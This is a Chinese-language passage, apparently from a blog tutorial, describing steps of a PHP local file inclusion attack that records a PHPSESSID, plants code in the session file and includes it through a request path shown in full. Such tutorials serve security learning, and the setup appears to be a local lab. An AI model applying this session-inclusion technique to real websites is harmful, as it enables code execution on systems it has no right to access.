  • 等登陆成功后,记录下cookie中的PHPSESSID的值,这里为r7csmqpu1lul3elgsb6o9g6u1b。(经过测试不注册也行,输入一个不存在的用户名,登录失败也会生成session文件,那么直接不注册输入登录也能生成,名称都为sess_cookie值

  • 将恶意代码传入以后,接下来就要利用文件包含漏洞去包含这个恶意代码。

fileinclude.php?file=D:\phpStudy\PHPTutorial\tmp\tmp\sess_r7csmqpu1lul3elgsb6o9g6u1b

你可能感兴趣的:(安全,后端,php,开发语言,安全,嵌入式硬件,中间件)